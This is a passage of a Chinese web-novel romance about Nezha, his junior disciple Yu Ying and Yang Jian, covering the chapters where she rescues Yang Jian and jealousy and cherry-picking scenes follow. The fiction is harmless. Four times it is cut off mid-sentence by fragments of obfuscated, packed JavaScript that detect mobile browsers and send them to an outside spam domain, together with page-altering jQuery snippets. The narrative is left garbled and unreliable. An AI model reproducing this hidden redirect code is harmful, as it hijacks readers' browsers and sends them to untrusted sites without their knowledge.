哪吒收起斩妖剑,伸手弹了下她额头:“各退一步,以后你种你的萝卜,但每天要抽两个时辰陪我。” “一个时辰。”与应讨价还价。 “一个半。”哪吒眯起眼睛,“不能再少了。” 与应思考片刻,终于收剑:“成交。” 哪吒勾起嘴角,伸手揉了揉她的头发:“不错嘛,能跟我打成平手。” 与应躲开他的魔爪,理了理被弄乱的头发:“是你让着我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647616|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哪吒一把按住与应乱动的脑袋,狠狠揉了把她头发:“说你厉害就听着,谦虚什么?我哪吒可不屑于说谎。” “那,”与应眨了眨眼,“我能要奖励吗?” “可以。”他心情极好,顺口就答应了。 · 如果哪吒知道与应所谓的奖励是折腾自己头发的话,他绝不会一口应下。 哪吒盘腿坐在莲池边,任由她摆弄。 发带解下,乌黑的长发披散在肩头,发梢还滴着水珠,他的师妹以“梳头前要先洗净”为由,硬是把他按在池边洗了头。 “你到底会不会梳?”哪吒咬牙切齿地问。 这丫头已经拆了三次,他的头皮都被扯得发麻。 “在学。” 说着又故意用力一拽。 “嘶——”哪吒转身,正要发作,却见与应已经利落地将他的头发分成两股,绾成两个圆圆的发髻。 “好了。”她后退一步,满意地打量自己的杰作。 哪吒摸了摸头顶:“折腾半天就梳了这个?” “嗯。”与应点头,“你天天给我绾,看着都会了。” 两个人弄一样的发型,像什么话?哪吒一把拉过与应:“转过去。” 与应乖乖坐好,却从面前莲池的水面倒影里偷看哪吒的表情,他薄唇抿成一条线,很是专注。 “师兄。”与应突然往后一仰。 那缕发丝从他指间溜走,他下意识伸手去接,却接了个空——与应的后脑勺结结实实撞在他胸口。 “嘶——”两人同时倒吸一口冷气。 与应急忙坐直,却从水面看见哪吒捂着胸口龇牙咧嘴的模样。她嘴角刚扬起,就发现脸上烫得厉害。 “你是故意的?”哪吒一把按住她的肩膀。 与应:“头发扯疼了。” 哪吒刚才确实有些走神,力道可能重了些,但要说扯疼……他低头看了看自己的手指,明明控制得很好。 他重新将她的头发分成三股,开始编辫子,哪吒手指灵活,不一会就绾好了,完成后他退开半步,欣赏自己的成品。 少女青丝中分而梳,于两耳上方各挽一枚尖角发髻,以金线绿底的发带系着,额前散下几缕碎发,其余的发则编成辫子绕在脑后。 她眼尾微挑,眼型浑圆,嘴唇又生得小巧,猫儿似的惹人怜爱。 哪吒移开视线,自己在想什么?她这张看似乖巧的嘴里吐出的可都是糊弄人的便宜话。 “好看吗?”与应眨了眨眼,那双潋滟着碎金的眸子此刻像凝了春水般,直直看着他。 哪吒别过脸去:“马马虎虎。” 与应却不依不饶地凑过来:“那你怎么不敢看我?” “谁不敢了!”哪吒猛地转头,差点撞上与应的鼻子。 两人四目相对,呼吸交错,一时间都愣住了,与应的睫毛轻轻颤动,在眼下投下一小片阴影。 “你……”哪吒刚开口,与应却突然退开,速度快得仿佛刚才的靠近只是错觉。 “谢谢师兄。”她摸了摸自己的发髻,唇角微扬,“明天还要。” “哈?” “嗯。”与应一脸理所当然,“师兄不是答应每天一个半时辰吗?梳头算半个时辰。” “我什么时候——” “愿赌服输。”与应打断他,“是你自己说的,在乾元山,你就是理。” 哪吒被自己的话堵得哑口无言,只能恶狠狠地揉乱她刚梳好的头发:“得寸进尺!” 与应也不躲,任由他把自己的发髻弄乱,然后仰起脸,用那双猫儿似的圆眼睛看着他:“乱了。” 哪吒的手僵在半空。这丫头什么时候学会这种表情了?真是要命。 “自己梳!”哪吒硬邦邦地扔下一句,转身就要走。 衣袖却被轻轻拽住。 “师兄梳的比较好。”她哄道,“我喜欢师兄梳的。” 哪吒的背影明显僵了一下。 他深吸一口气转回身:“就这一次。” 与应乖乖转身,嘴角的弧度更深了。 哪吒边解她的头发边想着,真是得了便宜还卖乖,登鼻子又上脸,可偏偏他拿她一点办法都没有。 12. 狗,人,出场了 若能给她一个选择,她绝不会随便在路边捡狗,哦,还有个人。 白毛细犬咬住她裙摆下侧,领着她往深山行去。,这狗很是通人性,见与应被拽得差点摔倒还往前拱了拱给她借力,待她站稳后才摇着尾巴继续赶路。 至于如何碰到这狗的,也怪她自己,在路边见了毛绒绒便要上手去摸,手伸到一半就见这犬睁开兽瞳,却在露出兽牙的那刻就被护主的往生绫捆了个结实。 “哎呀对不住,看你太可爱了没忍住……快放它下来!” 话音刚落,白绫委委屈屈松开束缚,老实飞回到小主人身上当围脖。 白犬摔落在地发出呜咽,声中隐隐有痛苦之意,与应蹲下身查看,它左腿割开一道裂痕,殷红从中渗出。 它警惕的呲牙弓起身子,与应掌心凝出团青绿灵力朝它伤口按去,方才还留着血的伤口消失,只剩一片雪白皮毛。 她就这样被缠住了。 白犬领着她往山的深处走去,也不知是不是错觉,每走一步鼻尖萦绕的血腥愈发浓重。 “小狗狗,你到底要带我去哪啊?” 她忘了它不会说话,于是任由它继续拽着自己。 血腥气浓重起来,与应摸了摸往生绫,绫带没察觉周围有妖气,反倒有仙的仙气。 钳住她裙摆的嘴终于松开,白犬在原地转了个圈后跑向前方,中途还是不是回头看她有没有跟上。 罢了,帮狗帮到底,若有妖物杀了便是。她跟了上去。 不知走了多久,她听见犬吠的声音,像是在给自己引路,她顺着声音走,前方出现一棵枯树,白犬正趴在人影边。 她走上前去,树下的人面容俊朗,棱角分明,双眉斜飞入鬓,眉心一道淡金色竖痕,昏迷中手里紧握的长枪竟是三尖两刃的模样。 他双眼紧闭,面色痛苦,她视线向下移去,他的衣袍已被鲜血浸透,胸口处一道狰狞的伤口正汩汩往外渗血。 白犬伸出舌头舔着他的手,又抬前爪勾住她衣摆,她是最受不了小动物撒娇的,罢了。 与应快步上前,指尖凝聚灵力,正要探查他的伤势,往生绫从脖颈散下挡在她身前。 “怎么了?” 就在此时,那人猛地睁开双眼,钳住她手腕,他眸光锐利如刀。 白犬见他睁眼,摇起尾巴,亲昵地蹭着那人垂在身侧的手背。 “喂,你——”与应想抽出手腕,这人却像卸了力般向前倒去,带着血腥气的人倒在她怀里。 陌生异性的接触让她不该如何是好,腰侧被毛绒绒的东西轻蹭,白犬正蹲在一旁摇着尾巴。 她好像被一条狗讹上了。 · “戬儿……戬儿……” 杨戬猛地睁开眼,闭合的天眼微微发烫,胸口伤处仍隐隐作痛,但已不再流血。 他下意识摸向身侧,却摸了个空,窗外传来一阵嬉笑声,他撑起身子,透过半开的窗看去—— 院中,少女正蹲在地上,手里捏着树枝,逗弄着哮天犬,白犬欢快地扑跳着,尾巴摇得几乎要飞起来,时不时发出兴奋的呜咽。 “这边!”她将树枝往远处一抛,哮天犬撒腿追去,却在半路刹住,转头冲回她身边,用脑袋蹭她的掌心。 哮天犬向来只对他一人亲近,如今却对一个陌生女子摇尾撒娇,甚至……连他醒了都没察觉? 杨戬眉头皱起,正要出声,却见那少女突然转头—— 少女清凌凌的圆眼眼尾微挑,眸色如琉璃,额间一道红痕,发髻绾成两枚尖角,颈上缠着白绫,眼中盛着笑意却面色不显。 哮天犬鼻头耸动,摇着尾巴扑向窗边,扑向他怀里,她三两步跑到窗前,胳膊往窗沿上一撑,凑近打量他:“气色比昨天好多了。” 太近了。杨戬下意识往后仰了仰,他能闻到她身上若有似无的莲花香,看到她睫毛在阳光下投下的细碎阴影。 “怎么不说话?”她歪头,“伤口还疼?” 杨戬刚想开口说并非如此,就见少女一掌拍到窗沿上,面色沉重道:“早知就老实跟师父学疗愈术了,这半吊子的手法若让哪吒知道了,定会被耻笑……” 杨戬眸光微动,正色道:“姑娘可否告知姓名?” 她轻声道:“与应。” “与应,”他低声重复,两字在唇齿间细细碾过,“在下灌江口杨戬,家中排行老二。” “它呢?”她指了指白犬。 杨戬紧绷的神色柔和下来,怀念道:“它叫哮天,是我的家人。” “哦——原来它叫哮天啊,”与应揉了揉它的头,“自己重伤都记得救你,你们感情真好。” 杨戬苦笑,杨家一夜被灭,唯有他和哮天活了下来却险些身死,小妹不知所踪,母亲被镇于桃山之下。 “既然你醒了那我就先走了。” 杨戬眸光微闪,轻轻“嗯”了一声。 少女嘟囔着红莲花之类的话离去了,哮天伸出舌头舔着他手背,杨戬回过神来摸摸它的头。 院中只余折下的树枝孤零零躺在那里,胸口伤处的钝痛已消失不见,取而代之的是另一种痛意。 母亲被抓走的情景一幕幕浮现,珍视的家被神兵碾成粉碎,他抓不住母亲,抓不住妹妹,只有空荡荡的掌心,仿佛在嘲笑他的无能。 半晌,他闭了闭眼,拾起衣衫下了榻,拿起三尖两刃枪朝某处山巅走去。 · 乾元山。 “所以,就你这半吊子的疗愈术还在山下救了个人?”哪吒上下打量她,显然不信。 与应气笑,怎么这话从这红莲花嘴里说出来这么讨厌。 “反正你爱信不信,”她别过头,语气冷硬,“事实就是如此,我不仅救了,还救活了呢。” 与应用力拔出萝卜放到一边的筐里,不去看那花。 “生气了?”他嬉皮笑脸贴过来,“我随便说笑的,怎么还当真了?” 与应无视他的笑脸,继续拔萝卜,见师妹不理他,哪吒直起身子轻咳一声,郑重道:“与应最厉害了,与应单手就能将妖物撕碎,与应的疗愈术——” 天下第一四字还未说出口,带着清香的萝卜塞进他嘴里,阻止这段更耻辱的话的诞生。 她红着耳根,垂眸道:“别说了,好羞耻啊……” 哪吒为什么能面不改色的说出这么羞耻的话? 咔嚓—— 哪吒嘴里嚼着萝卜,伸手戳戳她的脸,哄道:“师妹,我错了,不气了好不好?” 她心里羞耻,却依旧嘴硬道:“谁敢说你哪吒的错?在乾元山你不就是理吗?何须与我道歉?” 夺命三连问,他现在很想回到过去收回那句“在乾元山,我哪吒就是理”,但口业已经造下,收回也是无用。 哪吒也是刚发现自家师妹竟变得这般鲜活,会生气,有小性子,与刚上山的模样天差地别。 “真生气了?” 与应轻哼一声,不理他,哪吒弯腰去看她神色,与应皱眉将他的脸挪开,白净的脸上印上她的手指印。 他眼珠轻轻一转,睫毛颤动,调笑道:“师妹都给我烙上印子了,看来以后都要和讨厌的师兄绑在一起喽。” “谁要和你绑一起。” “你啊。” 这人果真是不正经,亏她先前还百般哄着,日日忍着饥饿接近他,合着都成了他炫耀的战果,不过是仗着自己舍不得罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647617|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不与你计较,师父说过几日要带咱们去拜访玉鼎师伯呢。” “玉泉山那般远——不想去。”说罢无赖一样从后靠近将下巴搭在她头顶,还顺手揉了把发髻。 “起来。” “不起。” “我要动手了。”她威胁道。 “现在师兄连依靠师妹一下都不可以了吗?”哪吒下巴搭在她头顶,说起话来一震一震的,弄得她头疼。 “快起来!头发都乱了!”与应忍无可忍,萝卜也不管了,胳膊屈起向后怼去。 “乱了便散下来,”哪吒握住她胳膊并在一起将她整个佣住,“师兄给你绾个更好看的。” 少年带着莲香的身体将她整个拥住,她想回怼却被这气味勾得心里燥热,恨不得现在就将这藕人吃了才好。 平复下心情,她软声道:“那我不气了,师兄给我绾头发吧。” 哪吒放开后她便转过头,捧住他的脸,笑道:“哎呀,脸怎么脏了,我来替师兄好好擦擦。” 哪吒的脸被她揉得变了形,却也不恼,只笑着任她揉捏,只要她不气,随她折腾便好了。 少年清亮亮的眸子看过来,里面只盛着她。与应指尖触到他温热的皮肤,心头那股燥热又涌了上来,她慌忙松手,转身去拾萝卜。 “手劲倒是见长。”哪吒揉了揉脸颊,蹲下身帮她收拾,“师父说何时启程?” “三日后。”与应低头数着筐里的萝卜,不敢看他,“说是玉鼎师伯新得了件法宝,邀师父前去品鉴。” 哪吒轻哼一声:“老头子们就爱这些虚的。”随手抛起一个萝卜又接住,“不过那的樱桃应该熟了,正好去摘些回来。” “说起来,“哪吒凑近,“你救的那人长什么模样?” “就普通人模样。” “哦?”他拖长音调,“能让你记住的普通人,想必不普通。” 那男子面容俊朗,眉心一道金色竖痕,隐约有神光流转,眉宇间带着孤傲与倔强,眼神锐利。 是个好看的‘普通人’。不,即使身负重伤还能有那般警惕,周身还隐隐有仙气缭绕,身份应当不一般。 哪吒还想说什么,就见他这师妹一副出神样子,他脑中闪过某种念头,几乎瞬间就要破土而出,咬牙切齿道:“男的?” 而那根弦在她点头的那刻彻底断裂。 他一脚踢开萝卜,摁住她肩膀,有些崩溃道:“你救他他以身相许了吗?告诉他名字了吗?他告诉你名字了吗?他有没有缠着你?有没有——” 哪吒一连串的问题砸得与应头晕目眩,她抬手捂住他的嘴,阻止他说出更离谱的话。 “救了一下而已,他醒了我就走了。” 少年朝她使了个眼神,与应叹气松开了。 “他叫什么?”哪吒眯起眼,语气危险。 “杨戬。”与应老实回答。 “所以你在路边救了个大男人,”他越想越气,“还跟他互换名字?” “哮天那么可爱,能有什么坏心思?再说了,我总不能见死不救吧?” “哮天?”哪吒敏锐地捕捉到关键词,“还有条狗?” “嗯,一条白毛细犬,特别乖。”与应点头,想起哮天蹭她手心的模样,忍不住弯了弯嘴角。 完了,他费尽心思才哄开心的人,竟为一条狗笑了?堂堂三太子,竟比不过条狗? 哪吒盯着她的表情,心里那股无名火烧得更旺了,他一把拽住她的手腕:“走,回去。” “萝卜还没收完呢!”与应被他拉得踉跄了一下。 “到时辰了,陪我。”哪吒头也不回,语气不容置道。 去他的狗屁,狗能有他会哄她开心? 13. 酸意 三日后,太乙真人带着哪吒和与应驾云前往玉泉山。 与应站在云头,偷偷瞄了眼身旁的哪吒,少年一袭红衣,正随意盯着某处不知在想什么。 腾云带来的气流吹起裙摆,她连忙抬手按住,腰间垂着的系带却被风吹起轻飘飘扫过一旁哪吒的衣摆。 今日哪吒为她绾发后就往她怀里塞了套衣服,布料通体月白,与她刚上山时穿得类似,系带和袖口处却都是绯红,如今站在哪吒旁边,倒像是被他染了色似的。 “看什么?”哪吒突然转头,与她四目相对。 “没、没什么。” 很快,玉泉山的轮廓出现在视野中。山间云雾缭绕,仙鹤盘旋。 落地后,玉鼎真人已带着弟子在山门前等候。 与应目光一扫,竟在人群中看到了杨戬,他今日穿着白衣,比初见时气色好了许多,哮天犬蹲在他脚边,见到她立刻兴奋地摇起尾巴。 “这位是贫道新收的弟子,杨戬。” 玉鼎真人介绍道。 杨戬上前行礼,目光在与应脸上停留了一瞬,又迅速移开。 哪吒站在与应身侧,唇角微勾,伸手揽住与应的肩膀,亲昵道:“原来师妹救的是玉鼎师伯的高徒啊,真是巧了。” 玉鼎真人捋了捋胡子,笑道:“原是太乙师弟的徒儿救了戬儿一命,缘也,缘也啊。” 太乙真人笑道:“哪里哪里,孩子们皆有造化,不过是缘分使然,时间到了罢了。” 两位道人相视一笑皆捋着胡子往洞府走去了,独留三人在原地瞪眼。 杨戬的伤已经好了,紧绷的眉眼也松懈开来,这身白衣倒是中和了他身上的肃杀之气。说起来……哪吒穿白衣会是什么样子呢? 哪吒看看与应,又看看杨戬,恨不得拍死给她送衣服的自己,可恨的是竟如此相配! 越想越气得他手痒,刚想抬手揉揉她发髻,又发现自家师妹正盯着杨戬出神。 他气不打一处来,也不管在场有没有别人,单手钳住她的脸,咬牙切齿道:“怎么,他有我好看?” 坏了,刚才出神了,这黑莲花又闹别扭了。 哪吒眯起眼,手上力道不减:“问你话呢,他有我好看?” 杨戬站在一旁,目光在两人之间游移,哮天犬似乎察觉到气氛不对,蹭了蹭主人的腿,发出低低的呜咽声。 “你发什么疯!”与应挣脱哪吒的手,揉着自己发红的脸颊,“当着别人的面……” “哦?”哪吒挑眉,凑近她耳边,低声道,“那不当着别人的面就可以?” “而且平时不也这样?怎么到了人前就不许我亲近了?” 她推开哪吒,却‘不小心’踩到自己的裙摆,整个人向后仰去——一只有力的手臂及时环住她的腰。 “小心。”他声音低沉,掌心温度透过薄薄的衣料传来。 哪吒的眼神瞬间冷了下来。他一把拽过与应的手腕,将她拉回自己身边:“不劳费心。” 杨戬收回手,神色平静:“举手之劳。” 哪吒冷哼一声,拽着她就往前走,与应踉跄几步,回头对杨戬露出一个歉意的笑容,杨戬微微颔首,目送两人离去。 走出一段距离后,与应终于甩开哪吒的手:“你到底怎么了?” 哪吒停下脚步,转身看她:“我怎么了?你一路上都在看他!” “我哪有。” “没有?”哪吒冷笑,“从落地开始,你的眼睛就没离过他。” 与应张了张嘴,却不知该如何反驳。她确实多看了杨戬几眼,但那只是因为…… “因为他穿白衣好看?” “你怎么知道我在想什么?” “你脸上写得清清楚楚。”哪吒咬牙切齿,“早知道就不该给你这身衣服。” 与应低头看了看自己的穿着,月白色的布料上点缀着绯红,确实与杨戬的白衣有几分相配,但也只是几分。 她觉得莫名其妙,脑袋一热,脱口而出:“明明和你更相配啊。” 他的手僵在半空。 “什、什么?”他耳尖以肉眼可见的速度红了起来。 “我是说衣服!衣服和你很配!” “哦?”哪吒眯起眼,逼近一步,“只是衣服?” 与应被他逼得后退,后背抵上一棵樱桃树,粉白花瓣簌簌落下,有几片沾在她的发间,哪吒伸手拂去花瓣,指尖不经意擦过她的耳垂。 “那你说说,”他声音很低,“为什么觉得和我更配?” 她别过脸,小声道:“就、红色很衬你。” 哪吒轻笑,手指挑起她腰间绯红的系带:“那这个呢?也是为我系的?” “这是你塞给我的衣服!”与应拍开他的手。 “我塞给你就穿?这么听话?” 她平复内心,笑道:“你不是最喜欢我听话吗?” 哪吒垂眸看了她一会,松开手。他还要说些什么就被一阵犬吠打破,白犬摇着尾巴从远处跑来,将这危险的氛围打破。 哮天犬绕着两人转圈,与应松了口气,蹲下身揉了揉它的脑袋:“哮天,你怎么来了?” 哮天犬蹭了蹭她的手心,又转头看向哪吒,低吠两声。 瞧,堂堂三太子竟被狗凶了。 白犬亲昵地舔了舔她的手指,然后叼住她的衣袖,轻轻往外拽。 “它要带你去哪儿?”哪吒抱臂站在一旁,语气不善。 与应顺着哮天犬的力道站起身:“可能是杨家二哥找我。” 二哥?哪吒在心里冷笑,不过见了两面便如此熟络,以后可还得了? 他脸色阴沉下来,一把按住她肩膀:“不准去。” “为什么?”与应皱眉,“说不定有急事。” “急事?”哪吒冷笑,“他有什么急事找你?” 哮天犬似乎察觉到哪吒的敌意,冲他低吼一声,护在与应身前,见状,他阴阳怪气道:“师妹如今真是受欢迎,连狗都向着你。” 这人又是闹哪门子脾气?就算她平日里爱哄着他,也不是叫他随意欺负的。 她在心里冷笑,阴阳怪气道:“瞧,哮天都知道护着我,你身为师兄却整日欺负我。” 哪吒眸色一暗,将她抵在樱桃树上,单手撑在她耳侧,俯身逼近:“哈?我欺负你?” 与应被他突如其来的动作惊得头往后仰,鼻尖萦绕着少年身上淡淡的莲香。 “先前是谁要我为她绾发——”他指尖勾起她鬓边一缕碎发,在指节绕了绕,“又是谁故意摔倒要我去接?” 树影婆娑间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647618|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,细碎光影投在他脸上,平日里张扬肆意的少年,如今只是安静的、势在必得的看着她。 她这才发觉,那些蓄谋已久的小把戏,原来早已被他看得透彻。 “如今见了别人转头就忘了我,”哪吒掐住她下巴,“这也叫欺负?” 耳尖烫得厉害,她看到花瓣落在哪吒肩头,又被风卷走,与应盯着那片花瓣,支支吾吾道:“你、你都知道?” “你以为能瞒过谁?不过是我惯着你罢了。”而且,他喜欢那些小心思,也愿意陪她玩。 一旁正趴着看戏的哮天忽然冲远处吠叫,白衣在风中微扬,目光落在树下的二人身上时,脚步微微一顿。 “师父命我来唤你们回去。”杨戬声音清冷,目光扫过两人亲昵的样子,又淡淡移开。 哪吒非但不松手,反而俯得更近,几乎贴着她耳畔低语:“听见没?师父叫我们回去。” 他故意咬重“我们”二字,指尖在她下巴上轻轻摩挲,挑衅般看向杨戬。 与应又气又羞的推他,哪吒这才慢悠悠直起身,却在后退时停住了。 两人的衣带因距离过近缠在一起,红色的系带紧紧绞着,打结似的。 杨戬的目光落在那纠缠的衣带上,哪吒低头瞥了一眼,忽然笑了:“怎么,杨师弟连这也要管?” 他故意扯了扯衣带,与应被带得踉跄半步,气得踩他一脚:“你幼稚不幼稚!” 杨戬转身欲走,却又停住,淡淡道:“师父在等。” 哪吒轻哼一声,伸手去解那衣带,可越解缠得就越紧。 与应看不下去,伸手去帮忙,两人的指尖在衣带间相触,哪吒攥住她的手指,低声道:“……就这样回去也行。” “你疯啦!”与应耳根发烫,用力抽手,衣带却在这拉扯间彻底打了死结。 杨戬背对着他们,平静道:“若实在解不开,我这里有匕首。” “用不着。”哪吒冷笑,指尖燃起一簇火,与应一把按住他的手:“你烧了它试试!” “怎么?”哪吒挑眉,“舍不得这衣裳?还是——”他意有所指地瞥向杨戬,“舍不得这相配的颜色?” 与应气得说不出话,干脆低头狠狠咬住哪吒的手腕,得了一口清甜。 少年吃痛松手,她却因用力过猛向后仰去——衣带终于不堪拉扯,生生断裂。 与应跌坐在满地落花中,手里攥着半截绯红系带,哪吒腰间则挂着残存的月白丝绦,在风里孤零零飘着。 杨戬回身时,正看见哪吒盯着手中断带发愣,少年耳尖通红,将那段月白塞进怀里,凶恶道:“看什么看!赔我的!” “明明是你先——” “走了。”哪吒一把将她拽起,扶着她的肩往洞府方向推,“……回去再跟你算账。” 杨戬站在原地,看着两人一前一后离去的背影。 山间吹起的风将红白两色相融,他看到少女重重捏了把少年腰间,惹得少年弯腰将她抗在肩头,在挣扎惊呼声中朝前方跑去。 哮天犬叼起地上的一片花瓣,蹭了蹭主人的靴子,杨戬弯腰接过,发现花瓣背面还沾着半根月白丝绦,在日光下闪着细碎的光。 他指尖轻轻捻了捻,松开的那刻,丝绦朝风的方向飘去,渐渐在他眼里消失。 14. 撩拨 与应推开房门时,险些以为自己看错了人。 哪吒站在院中,一袭素白长衫,晨光落在他身上,将眉眼间的艳丽张扬冲散,多了清冷矜贵。 她愣在原地,怀疑自己没睡醒:“……哪吒?” 哪吒侧过脸,唇角微勾:“怎么,认不出来了?” 与应盯着他看了半晌,脑中闪过一丝念头,噗嗤一声笑了:“你该不会——” “闭嘴。”哪吒耳根一红,甩手丢给她一个竹篮,“摘樱桃去。” · 满树红果垂坠,哪吒心不在焉,时不时瞥一眼身旁的与应,她今日穿着藕粉衫,荷绿裙,在樱桃树下转来转去,活像只偷蜜的蝶。 “你老看我做什么?”与应摘了颗樱桃丢他,“莫非白衣穿不惯?” 哪吒接住樱桃,指尖一捻,鲜红汁液染上白衣袖口。 “你觉得……我穿白色如何?” 她故意拖长音调:“嗯——挺好看的。” 哪吒眼睛一亮。 “不过嘛,”她眨眨眼,“还是红色最适合你。” 少年顿时黑了脸,一把拽过樱桃枝,簌簌落花洒了她满头满身,与应笑着躲闪,却不小心踩到裙角,整个人向后仰去—— 哪吒下意识伸手去接,却在碰到她腰际的瞬间想起什么,硬生生收住力道。 与应结结实实摔进草丛里,瞪大眼睛:“你居然不接我?!” “……”哪吒别过脸,“某些人不是嫌我欺负她么。” 与应气得揪起一把草扔他,哪吒侧身躲开,白衣却被树枝勾住,裂开道口子。 “活该!”与应幸灾乐祸,却在看到他衣领下隐约露出的红色里衣时怔住—— 这人居然在白衣底下偷偷穿红衣?! 哪吒顺着她的目光低头,顿时手忙脚乱去掩衣领:“看什么看!” 与应凑近,指尖点着他胸口:“嘴上说不穿红,里头却藏得严严实实?三太子何时这般口是心非了?” “要你管!”哪吒恼羞成怒,一把将她按在树上。 袖口还沾着樱桃汁,他低头逼视她:“再说一遍,谁适合红色?” 与应一把扯开他衣领,果然,里衣是鲜艳的红,衬得少年肌肤如玉。 “果然还是红色最衬你。” “白衣嘛,”她故意拖长调子,“也挺好,就是——” “就是什么?” “就是不像你了。”她指尖掠过他衣领,“哪吒就该是烈火一样的颜色,何必学别人穿白?” 少年愣了愣,低头闷笑:“……蠢死了。” 也不知在说谁。 与应正了正神色,认真道:“而且只要你出现,我第一个看向的肯定是你啊。” 这次不是诱哄,也不是乖顺,她是切切实实的、发自内心的说着,于是很快就看到少年红透的脸。 “这可是你自己说的,”他恶声恶气道,“若下次再敢看别人——” 说罢,狠狠揉了一把她头顶。 “就怎样?”她追问,发丝间还沾着几片花瓣。 哪吒转手捻起一片花瓣,声音低了下来:“就……” “就把你绑起来,只能看着我。” 她笑出声:“三太子好大的威风。” “笑什么!”哪吒一把掐住她的脸,“说到做到!” “疼疼疼——”与应假装吃痛,在他松手的瞬间跑开,边跑边喊,“那现在可以多看几眼杨师兄了吗?” “你、完、了。”他一字一顿地说,追上去。 混天绫飞出,却在即将缠上她手腕的刹那,被一道雪白流光截住——红白两条绫带在半空中纠缠起来,最后打了个死结,轻飘飘落在草丛里。 “来追我呀!”少女边回头边提着裙摆跑,步伐轻快,如丛中嬉戏的蝶。 他轻笑一声,慢慢解开染了樱桃汁的白衣,随手抛在风中,里衣烈红如火,映得满山樱桃都失了颜色。 “这可是你说的。” 他没用风火轮,就这么踏着满地落花追了上去,红衣少年在樱桃林间穿梭,衣袂翻飞时惊起几只山雀,翅膀扑棱棱掠过与应耳畔。 “慢些!”她边笑边躲,荷绿裙摆扫过青苔,在石阶上留下几滴樱桃汁。 发间玉簪不知何时松了,青丝如瀑散开,被风扬起时恰好拂过追来的哪吒鼻尖。 少年猛地刹住脚步,莲香混着樱桃的清甜扑面而来,他下意识抓住那缕发丝,却被带着往前踉跄两步。 与应已经跑到溪边,脱了鞋赤足踩在水中的踏石上转身看他,粉衫绿裙的少女站在粼粼波光中,像朵随水飘摇的莲。 “抓不到——”她故意晃了晃手中竹篮,里头的樱桃随动作滚落几颗,噗通噗通掉进水里,惊散了游鱼。 哪吒抓起飞回的混天绫往溪面一甩,从前护他翻江倒海的绫带,如今竟用作水中嬉戏的,捉弄人的物件。 察觉到主人心思的神器收了神通,只轻飘飘掠过水面,激起的水花如珠玉般四溅。 与应急忙后退,却忘了自己正站在湿滑的踏石上,藕荷色的身影向后仰去,竹篮脱手飞出,樱桃噼里啪啦洒落溪面。 哪吒瞳孔骤缩,红衣翻飞间已纵身跃入水中。 哗啦——清溪顿时漫开波澜。 哪吒一把揽住与应的腰肢,另一手抓住漂走的竹篮,水流冲刷间,两人的衣袂纠缠在一起,红衣与粉衫在水中舒展。 “你耍赖!”与应抹着脸上的水珠,湿透的衣衫勾勒出纤细轮廓。 “是你叫我追你的。” 哪吒将空荡荡的竹篮轻轻扣在她头上,水珠顺着缝隙滴落,在她鼻尖聚成晶莹一点。 少年别过脸去,湿透的红衣贴在身上,勾勒出紧绷的肩线。 与应透过竹篮的缝隙看他,伸手戳了戳他发红的耳垂:“这么听话呀?” “胡说什么!”哪吒猛地转回头。 竹篮被他的动作带得歪斜,露出少女含笑的,潋滟着春水的眉眼,水珠从她睫毛滚落,一路滑落。 他顺着水珠滑落的方向看去,少女颈间失了往生绫,露出莹白脖颈上的一圈金色咒文。 那圈金色咒文在水光下若隐若现,像一道锁,又似一道伤。 哪吒想起初见那日,她站在莲池边,也是这样湿淋淋的,却不是嬉闹,而是被他用火尖枪指着咽喉。 如今溪水潺潺,他指尖悬在那道咒文上方,竟有些不敢触碰。 与应似有所觉,抓住他手腕:“别看。” 水珠从两人交握的指缝间滴落。哪吒反手握住她,将人往岸上带:“谁要看了。”语气很凶,动作却轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647619|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔。 上岸时,她荷绿的裙摆缠在哪吒腰间玉带上,两人手忙脚乱去解,倒把死结系得更紧。 “麻烦死了。”哪吒干脆扯断玉带,“赔我。” 与应凑近,鼻尖几乎贴上他的:“你哪吒什么时候这么小气了?” 呼吸间带着樱桃的甜香。 少年僵在原地,连耳尖都红透。 · “都怪你。”与应踩在溪边青石上,拧着湿透的裙角,“樱桃全没了。” 